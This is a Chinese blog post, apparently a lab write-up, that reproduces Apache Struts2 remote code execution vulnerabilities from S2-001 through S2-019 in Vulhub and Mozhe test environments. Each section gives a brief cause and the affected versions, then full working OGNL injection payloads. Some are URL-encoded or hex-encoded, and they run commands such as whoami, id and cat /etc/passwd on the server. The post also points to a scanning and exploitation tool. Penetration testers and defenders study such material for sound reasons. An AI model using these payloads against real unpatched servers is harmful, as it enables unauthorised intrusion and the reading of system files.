Struts2框架漏洞总结与复现(上) 含Struts2检测工具

Struts2框架漏洞总结与复现

1.Struts2复现准备

  这里使用Vulhub漏洞测试靶场搭建,这里可以参考我的安装Vulhub文章进行安装,或者自行准备复现环境。
  参考文章:Vulhub环境安装
  工具:网盘 提取码:dsjx

2.Struts2框架漏洞复现

2.1.S2-001漏洞复现

2.1.1.漏洞原理

  该漏洞因用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用%{value}对提交的数据执行了一次OGNL 表达式解析,所以可以直接构造 Payload进行命令执行。

2.1.2.影响版本

  影响版本:Struts 2.0.0 - 2.0.8

2.1.3.手工复现

2.1.3.1.访问靶机

  URL:IP地址:端口
在这里插入图片描述

2.1.3.2.测试漏洞

  在账号密码的输入框中测试是否存在漏洞。当输入%{‘123’}的时候,若点击submit后返回的是123那么就存在漏洞,反之则不存在漏洞。
在这里插入图片描述

2.1.3.3.返回情况

  这里通过点击submit后返回了123参数值那么就存在相关的漏洞。
在这里插入图片描述

2.1.3.4.获取Tomcat路径POC

  当测试存在漏洞后就可以构建poc了,然后把构建的poc填到框中,点击submit执行。

POC:%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

在这里插入图片描述

2.1.3.5.获取Web路径POC
POC:%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

在这里插入图片描述

2.1.3.6.命令执行POC

  任意命令执行的时候只需要将pwd替换为其它的命令即可。

POC:%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

在这里插入图片描述

2.1.4.工具复现

2.1.4.1.执行扫描

  这里只需要将URL链接放入后,点击执行,工具会自动扫描是否存在相关的漏洞。
在这里插入图片描述

2.1.4.2.命令执行

  这里需要将Struts2漏洞编号切换至你需要测试的漏洞编号,然后再输入命令进行执行。
在这里插入图片描述

2.2.S2-005漏洞复现

2.2.1.漏洞原理

  s2-005漏洞起源于s2-003(受影响版本:低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过导致漏洞,攻击者可以利用OGNL表达式将这两个选项打开。

2.2.2.影响版本

  Struts 2.0.0 - 2.1.8.1

2.2.3.手工复现

2.2.3.1.访问靶机

  URL:IP地址:端口
在这里插入图片描述

2.2.3.2.构建无回显POC

  构造poc发送数据包,使用抓包工具burpsuite,修改数据包插入poc,这个POC是在/tmp创建一个文件。

POC:?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

在这里插入图片描述

2.2.3.3.查看文件

  当然啦这个是测试,你也可以创建其它内容。
在这里插入图片描述

2.2.3.4.其它

  关于回显命令执行,需要将提交方式更换为POST,但是我这里测试没有成功。这里放入一下参考链接。
  参考链接:参考
在这里插入图片描述

2.2.4.工具复现

  这里我就不多作过多的介绍,方式都是一样的,执行看效果吧。
在这里插入图片描述

2.3.S2-007漏洞复现

2.3.1.漏洞原理

  age来自于用户输入,传递一个非整数给id导致错误,struts会将用户的输入当作ongl表达式执行,从而导致了漏洞。

2.3.2.影响版本

  Struts 2.0.0 - 2.2.3

2.3.3.手工复现

2.3.3.1.访问靶机

  URL:IP地址:端口
在这里插入图片描述

2.3.3.2.测试漏洞

  验证漏洞是否存在,在age中输入’+(1+1)+',点击登陆,age框返回数字,证明漏洞存在。
在这里插入图片描述

2.3.3.3.构建第一个POC

  第一个POC需要使用抓包工具burp suite,修改数据包插入poc。

POC:%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27pwd%20/%27%29.getInputStream%28%29%29%29+%2B+%27

在这里插入图片描述

2.3.3.4.构建第二个POC

  这个POC可以直接放入框中执行,其实也就是编码之前的内容。

POC:' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())) + '

在这里插入图片描述

2.4.S2-008漏洞复现

2.4.1.漏洞原理

  S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,但是这种情况在生产环境中几乎不可能存在,所以还是很鸡肋。

2.4.2.影响版本

  Struts 2.1.0 – 2.3.1

2.4.3.手工复现

2.4.3.1.访问靶机

  URL:IP地址:端口
在这里插入图片描述

2.4.3.2.构建POC

  这个POC直接在URL链接后面添加。

POC:/devmode.action?debug=command&expression=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=whoami

在这里插入图片描述

2.5.S2-009漏洞复现

2.5.1.漏洞原理

  OGNL提供了广泛的表达式评估等功能。该漏洞允许恶意用户绕过ParametersInterceptor内置的所有保护(正则表达式,拒绝方法调用),从而能够将任何暴露的字符串变量中的恶意表达式注入进行进一步评估。ParametersInterceptor中的正则表达式将top [‘foo’] (0) 作为有效的表达式匹配,OGNL将其作为(top[‘foo’]) (0)处理,并将“foo”操作参数的值作为OGNL表达式求值。这使得恶意用户将任意的OGNL语句放入由操作公开的任何String变量中,并将其评估为OGNL表达式,并且由于OGNL语句在HTTP参数中,攻击者可以使用黑名单字符(例如 # )禁用方法执行并执行任意方法,绕过ParametersInterceptor和OGNL库保护。

2.5.2.影响版本

  Struts 2.1.0 - 2.3.1.1

2.5.3.手工复现

2.5.3.1.访问靶机

  URL:IP地址:端口
在这里插入图片描述

2.5.3.2.构建POC1

  使用抓包工具burp suite,修改数据包插入poc,这里是需要将之前的URL替换哦。

POC:/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27pwd%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

在这里插入图片描述

2.5.3.3.构建POC2

  这个POC可以直接在URL中进行执行。

POC:/ajax/example5?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%22cat%20/etc/passwd%22).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

在这里插入图片描述

2.6.S2-012漏洞复现

2.6.1.漏洞原理

  如果在配置 Action 中 Result 时使用了重定向类型,并且还使用paramname作为重定向变量,UserAction中定义有一个name变量,当触发redirect类型返回时,Struts2获取使用{name}获取其值,在这个过程中会对name参数的值执行OGNL表达式解析,从而可以插入任何OGNL表达式导致命令执行。

2.6.2.影响版本

  Struts 2.1.0 - 2.3.13

2.6.3.手工复现

2.6.3.1.访问靶机

  URL:IP地址:端口
在这里插入图片描述

2.6.3.2.验证漏洞

  这里首先需要在输入框中输入1,然后使用抓包工具burp suite,修改数据包插入poc,验证漏洞是否存在。

POC:%25%7B%23a%3D(new java.lang.ProcessBuilder(new java.lang.String%5B%5D%7B%22%2Fbin%2Fbash%22%2C%22-c%22%2C %22ls%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew java.io.InputStreamReader(%23b)%2C%23d%3Dnew java.io.BufferedReader(%23c)%2C%23e%3Dnew char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D

在这里插入图片描述

2.6.3.3.构建POC

  这里测试的查看passwd目录。

原始POC:%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStr eam(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter ().close()}
编码后POC:%25%7B%23a%3D(new java.lang.ProcessBuilder(new java.lang.String%5B%5D%7B%22cat%22%2C %22%2Fetc%2Fpasswd%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew java.io.InputStreamReader(%23b)%2C%23d%3Dnew java.io.BufferedReader(%23c)%2C%23e%3Dnew char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D

在这里插入图片描述

2.7.S2-013漏洞复现

2.7.1.漏洞原理

  Struts2的标签中<s:a>和<s:url>中都有一个includeParams属性,可以设置成如下值:
  none - URL中不包含任何参数(默认)
  get - 仅包含URL中的GET参数
  all - 在URL中包含GET和POST参数
  此时,或尝试去解析原始请求时,会导致OGNL表达式的执行

2.7.2.漏洞版本

  Struts2.0.0 - 2.3.14

2.7.3.手工复现

2.7.3.1.访问靶机

  URL:IP地址:端口
在这里插入图片描述

2.7.3.2.构建POC

  这里需要先访问下面的"s:a" tag,或者在POC之前添加link.action,并且该漏洞可以使用抓包工具抓包执行,也可以直接在URL后面添加进行访问。

POC:?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27id%27).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%27dbapp%3D%27%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

在这里插入图片描述

2.7.4.工具复现

  这里我就不多作过多的介绍,方式都是一样的,执行看效果吧。

2.7.4.1.执行扫描

在这里插入图片描述

2.7.4.2.命令执行

  这里把漏洞编号切换为S2-013即可。
在这里插入图片描述

2.8.S2-015漏洞复现

2.8.1.漏洞原理

  如果请求与任何其他已定义的操作都不匹配,它将被*匹配,并且所请求的操作名称将用于基于操作名称加载JSP文件。并且 {1} 的值作为OGNL表达式受到威胁,因此允许在服务器端执行任意JAVA代码。此漏洞使两个问题的组合:
  请求的操作名称未转义或再次被列入白名单
  当使用 $ 和 % 开放字符的组合时,对TextParseUtil.translateVariables中的OGNL表达式进行双重评估。

2.8.2.影响版本

  Struts 2.0.0 - 2.3.14.2

2.8.3.手工复现

2.8.3.1.访问靶机

  URL:IP地址:端口
在这里插入图片描述

2.8.3.2.构建POC

  使用抓包工具,修改原数据包插入POC。

POC:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27id%27).getInputStream())%2C%23q%7D.action

在这里插入图片描述

2.9.S2-016漏洞复现

2.9.1.漏洞原理

  在struts2中,DefaultActionMapper类支持以"action:"、“redirect:”、"redirectAction:"作为导航或者是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。

2.9.2.影响版本

  Struts 2.0.0 - 2.3.15

2.9.3.手工复现

2.9.3.1.访问靶机

  URL:IP地址:端口
在这里插入图片描述

2.9.3.2.构建POC

  该POC可以直接在URL中拼接访问。

POC:index.action?redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%7D

在这里插入图片描述

2.9.4.工具复现

2.9.4.1.执行扫描

  这里需要注意,在执行扫描的时候需要在url后面添加/index.action,否则会出现扫描不正确的情况。
在这里插入图片描述

2.9.4.2.命令执行

  这里还是一样,将漏洞编号修改至对应的编号。
在这里插入图片描述

2.10.S2-019漏洞复现

  这里需要注意,由于Vulhub中没有S2-019环境,这里使用墨者靶场中的S2-019来复现,当然也可以使用网上的强制拉取环境,由于这里我拉取了几次都没成功,所以就只能使用墨者靶场中的了。

2.10.1.漏洞原理

  要求开发者模式,且poc第一个参数是debug,触发点在DebuggingInterceptor上,查看intercept函数,从debug参数获取调试模式,如果模式是command,则把expression参数放到stack.findValue中,最终放到了ognl.getValue中。

2.10.2.影响版本

  Struts 2.0.0 - 2.3.15.1

2.10.3.手工复现

2.10.3.1.访问靶场

  URL:IP地址:端口
在这里插入图片描述

2.10.3.2.构建POC

  关于这个POC,可以使用抓包修改数据包插入POC执行,也可以直接在URL后面直接添加,不过需要注意的是关于这个showcase.action页面,在墨者靶场中没找到,直接在之前添加吧。

POC原版:?debug=command&expression=#a=(new java.lang.ProcessBuilder('id')).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b) ,#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#out=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRe sponse'),#out.getWriter().println('dbapp:'+new java.lang.String(#e)),#out.getWriter().flush(),#out.getWriter().close()
POC编码:?%64%65%62%75%67=%63%6f%6d%6d%61%6e%64&%65%78%70%72%65%73%73%69%6f%6e=%23%61%3d%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%28%27%69%64%27%29%29%2e%73%74%61%72%74%28%29%2c%23%62=%23%61%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%63=%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%23%62%29%2c%23%64%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%63%29%2c%23%65=%6e%65%77%20%63%68%61%72%5b%35%30%30%30%30%5d%2c%23%64%2e%72%65%61%64%28%23%65%29%2c%23%6f%75%74=%23%63%6f%6e%74%65%78%74%2e%67%65%74%28%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%64%69%73%70%61%74%63%68%65%72%2e%48%74%74%70%53%65%72%76%6c%65%74%52%65%73%70%6f%6e%73%65%27%29%2c%23%6f%75%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%70%72%69%6e%74%6c%6e%28%27%64%62%61%70%70%3a%27%2b%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%23%65%29%29%2c%23%6f%75%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%66%6c%75%73%68%28%29%2c%23%6f%75%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%63%6c%6f%73%65%28%29

在这里插入图片描述

  • 11
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

剁椒鱼头没剁椒

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值